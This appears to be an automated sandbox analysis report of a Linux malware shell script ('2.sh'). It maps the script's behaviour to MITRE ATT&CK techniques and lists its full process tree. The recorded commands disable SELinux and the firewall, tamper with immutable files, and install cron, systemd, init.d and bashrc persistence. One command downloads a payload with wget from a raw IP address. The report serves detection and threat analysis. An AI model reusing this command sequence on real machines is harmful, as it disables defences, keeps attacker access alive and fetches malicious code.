cda6a3a92d746c0be30c1809c15b2f5e344b724dcecbda7729234a798fb5218b

execution persistence privilege_escalatio

description	ioc	Process
File opened for modification	/etc/ld.so.preload	2.sh

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1702	chmod
1703	chmod
1731	chmod
1739	chmod
1498	chmod
1704	chmod
1733	chmod
1735	chmod
1737	chmod

Flushes firewall rules 2 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
1503	ufw
1678	iptables

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1507	modprobe

Attempts to change immutable files 14 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1705	chattr
1712	systemd-sysv-install
1732	chattr
1738	chattr
1727	chattr
1679	chattr
1682	grep
1684	grep
1741	chattr
1751	chattr
1706	chattr
1734	chattr
1736	chattr
1740	chattr

Creates/modifies Cron job 1 TTPs 7 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

Cron

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.m3bckf	crontab
File opened for modification	/etc/cron.d/root	2.sh
File opened for modification	/etc/cron.d/apache	2.sh
File opened for modification	/etc/cron.d/nginx	2.sh
File opened for modification	/var/spool/cron/root	2.sh
File opened for modification	/var/spool/cron/crontabs/root	2.sh
File opened for modification	/etc/cron.hourly/oanacroner	2.sh

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

description	ioc	Process
File opened for modification	/root/.bashrc	2.sh
File opened for modification	/root/.bash_profile	2.sh

Disables SELinux 1 IoCs

Disables SELinux security module.

pid	Process
1499	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

RC Scripts

description	ioc	Process
File opened for modification	/etc/init.d/linux-d	2.sh

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

RC Scripts

persistence privilege_escalation

description	ioc	Process
File opened for modification	/etc/rc.local	2.sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/linux-d.service	2.sh

Writes file to system bin folder 1 IoCs

description	ioc	Process
File opened for modification	/bin/sysdown	2.sh

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bash_profile	2.sh
File opened for modification	/root/.bashrc	2.sh

Deobfuscate/Decode Files or Information 1 TTPs 3 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1697	base64
1699	base64
1701	base64

Changes its process name 1 IoCs

description	ioc	pid
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	1712

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/module/ip6_tables/initstate	modprobe
File opened for reading	/sys/module/x_tables/initstate	modprobe

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/177/stat	ps
File opened for reading	/proc/946/stat	ps
File opened for reading	/proc/1026/cmdline	ps
File opened for reading	/proc/1045/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/268/stat	ps
File opened for reading	/proc/1131/stat	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/35/stat	ps
File opened for reading	/proc/203/stat	ps
File opened for reading	/proc/1055/cmdline	ps
File opened for reading	/proc/1154/stat	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/1073/status	ps
File opened for reading	/proc/1135/stat	ps
File opened for reading	/proc/1490/cmdline	ps
File opened for reading	/proc/1069/stat	ps
File opened for reading	/proc/1278/status	ps
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/1131/cmdline	ps
File opened for reading	/proc/1179/stat	ps
File opened for reading	/proc/172/status	ps
File opened for reading	/proc/202/stat	ps
File opened for reading	/proc/1496/cmdline	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/85/stat	ps
File opened for reading	/proc/310/stat	ps
File opened for reading	/proc/1173/stat	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/1182/cmdline	ps
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/450/stat	ps
File opened for reading	/proc/490/stat	ps
File opened for reading	/proc/556/status	ps
File opened for reading	/proc/1155/status	ps
File opened for reading	/proc/489/cmdline	ps
File opened for reading	/proc/1159/cmdline	ps
File opened for reading	/proc/445/status	ps
File opened for reading	/proc/30/cmdline	ps
File opened for reading	/proc/529/status	ps
File opened for reading	/proc/84/status	ps
File opened for reading	/proc/158/stat	ps
File opened for reading	/proc/492/stat	ps
File opened for reading	/proc/1007/stat	ps
File opened for reading	/proc/19/cmdline	ps
File opened for reading	/proc/316/cmdline	ps
File opened for reading	/proc/946/status	ps
File opened for reading	/proc/1172/status	ps
File opened for reading	/proc/25/status	ps
File opened for reading	/proc/490/status	ps
File opened for reading	/proc/648/status	ps
File opened for reading	/proc/1073/status	ps
File opened for reading	/proc/529/cmdline	ps
File opened for reading	/proc/1494/status	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/168/status	ps
File opened for reading	/proc/174/cmdline	ps
File opened for reading	/proc/1099/cmdline	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/1055/stat	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/-bash	wget

/tmp/2.sh
/tmp/2.sh
1⤵
- Modifies the dynamic linker configuration file
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Writes file to system bin folder
- Modifies Bash startup script
PID:1496
- /bin/mkdir
  mkdir -p /tmp /var/tmp
  2⤵
  PID:1497
- /bin/chmod
  chmod 1777 /tmp /var/tmp
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:1499
- /sbin/sysctl
  sysctl -w "fs.file-max=500000"
  2⤵
  PID:1500
- /bin/mount
  mount -o "remount,exec" /tmp
  2⤵
  PID:1501
- /bin/mount
  mount -o "remount,exec" /var/tmp
  2⤵
  PID:1502
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1503
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    PID:1504
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    PID:1505
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1506
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        
        PID:1507
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1511
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1514
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1515
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      PID:1516
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1517
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1518
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      PID:1519
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      PID:1520
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      PID:1521
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      PID:1522
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      PID:1523
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      PID:1524
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      PID:1525
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      PID:1526
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1527
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      PID:1528
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1529
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1530
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1531
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1532
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1533
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1534
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1535
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      PID:1536
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1537
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1538
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1539
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1540
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1541
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1542
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1543
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1544
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      PID:1545
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1546
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      PID:1548
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1550
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      PID:1551
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      PID:1552
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      PID:1553
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      PID:1555
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      PID:1556
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      PID:1557
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1558
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      PID:1562
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1563
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1565
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1566
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1567
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      PID:1568
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1570
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1571
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1572
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      PID:1573
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1574
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1575
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1576
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1577
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1578
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1579
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      PID:1580
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1581
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1582
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1583
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1584
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      PID:1585
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1586
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1587
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      PID:1588
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1589
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1590
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1591
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1592
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1593
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      PID:1594
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1595
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1596
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      PID:1597
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1598
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1599
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      PID:1600
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      PID:1601
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      PID:1602
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      PID:1603
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      PID:1604
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      PID:1605
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      PID:1606
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      PID:1607
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1608
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1609
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1610
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      PID:1611
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1612
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1613
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1614
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      PID:1615
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1616
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      PID:1617
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1618
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1619
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1620
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1621
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1622
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1623
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1624
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1625
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1627
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      PID:1629
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1631
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      PID:1632
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      PID:1633
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      PID:1634
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      PID:1635
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      PID:1636
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      PID:1637
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      PID:1638
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1639
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1640
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1641
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1642
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      PID:1643
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1644
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1645
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1647
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1648
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      PID:1649
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1650
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      PID:1651
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1652
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1653
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1654
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1655
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      PID:1656
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1657
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1658
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1659
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1660
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      PID:1661
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1662
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      PID:1663
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      PID:1664
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1665
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      PID:1666
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1667
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1668
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      PID:1669
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1670
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1671
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1672
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1673
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1674
- /sbin/iptables
  iptables -P INPUT ACCEPT
  2⤵
  PID:1675
- /sbin/iptables
  iptables -P OUTPUT ACCEPT
  2⤵
  PID:1676
- /sbin/iptables
  iptables -P FORWARD ACCEPT
  2⤵
  PID:1677
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1678
- /usr/bin/chattr
  chattr -ia /etc/ld.so.preload
  2⤵
  - Attempts to change immutable files
  PID:1679
- /usr/bin/id
  id -u
  2⤵
  PID:1680
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1682
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1681
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1684
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1683
- /usr/bin/wc
  wc -l
  2⤵
  PID:1691
- /bin/grep
  grep "bytes of data"
  2⤵
  PID:1690
- /bin/ping
  ping -c 1 dw.c4kdeliver.top
  2⤵
  PID:1689
- /bin/uname
  uname -m
  2⤵
  PID:1695
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1697
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1699
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1701
- /bin/chmod
  chmod +x /etc/init.d/linux-d
  2⤵
  - File and Directory Permissions Modification
  PID:1702
- /bin/chmod
  chmod +x /bin/sysdown
  2⤵
  - File and Directory Permissions Modification
  PID:1703
- /bin/chmod
  chmod +x /etc/systemd/system/linux-d.service
  2⤵
  - File and Directory Permissions Modification
  PID:1704
- /usr/bin/chattr
  chattr +ia /etc/systemd/system/linux-d.service
  2⤵
  - Attempts to change immutable files
  PID:1705
- /usr/bin/chattr
  chattr +ia /etc/init.d/linux-d
  2⤵
  - Attempts to change immutable files
  PID:1706
- /bin/systemctl
  systemctl start linux-d
  2⤵
  PID:1707
- /bin/systemctl
  systemctl enable linux-d
  2⤵
  PID:1708
- - /lib/systemd/systemd-sysv-install
    /lib/systemd/systemd-sysv-install enable linux-d
    3⤵
    - Attempts to change immutable files
    PID:1712
  - - /usr/bin/getopt
      getopt -o r: --long root: -- enable linux-d
      4⤵
      PID:1713
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d linux-d defaults
      4⤵
      PID:1714
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1715
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1715
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1715
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1715
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1715
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1715
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d linux-d enable
      4⤵
      PID:1716
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1720
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1720
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1720
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1720
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1720
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1720
- /usr/bin/chattr
  chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1
  2⤵
  - Attempts to change immutable files
  PID:1727
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:1728
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1730
- /bin/chmod
  chmod +x /etc/cron.d/root
  2⤵
  - File and Directory Permissions Modification
  PID:1731
- /usr/bin/chattr
  chattr +ia /etc/cron.d/root
  2⤵
  - Attempts to change immutable files
  PID:1732
- /bin/chmod
  chmod +x /etc/cron.d/apache
  2⤵
  - File and Directory Permissions Modification
  PID:1733
- /usr/bin/chattr
  chattr +ia /etc/cron.d/apache
  2⤵
  - Attempts to change immutable files
  PID:1734
- /bin/chmod
  chmod +x /etc/cron.d/nginx
  2⤵
  - File and Directory Permissions Modification
  PID:1735
- /usr/bin/chattr
  chattr +ia /etc/cron.d/nginx
  2⤵
  - Attempts to change immutable files
  PID:1736
- /bin/chmod
  chmod +x /var/spool/cron/root
  2⤵
  - File and Directory Permissions Modification
  PID:1737
- /usr/bin/chattr
  chattr +ia /var/spool/cron/root
  2⤵
  - Attempts to change immutable files
  PID:1738
- /bin/chmod
  chmod +x /etc/cron.hourly/oanacroner
  2⤵
  - File and Directory Permissions Modification
  PID:1739
- /usr/bin/chattr
  chattr +ia /etc/cron.hourly/oanacroner
  2⤵
  - Attempts to change immutable files
  PID:1740
- /usr/bin/chattr
  chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1
  2⤵
  - Attempts to change immutable files
  PID:1741
- /bin/uname
  uname -m
  2⤵
  PID:1742
- /usr/bin/wc
  wc -l
  2⤵
  PID:1749
- /usr/bin/uniq
  uniq
  2⤵
  PID:1748
- /usr/bin/sort
  sort
  2⤵
  PID:1747
- /bin/grep
  grep ESTAB
  2⤵
  PID:1746
- /bin/grep
  grep -e 89.185.85.102 -e 167.71.233.11
  2⤵
  PID:1745
- /bin/uname
  uname -m
  2⤵
  PID:1750
- /usr/bin/chattr
  chattr -ia /tmp/-bash
  2⤵
  - Attempts to change immutable files
  PID:1751
- /usr/bin/wget
  wget --no-check-certificate -q -O /tmp/-bash http://5.42.67.3/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Path Interception by PATH Environment Variable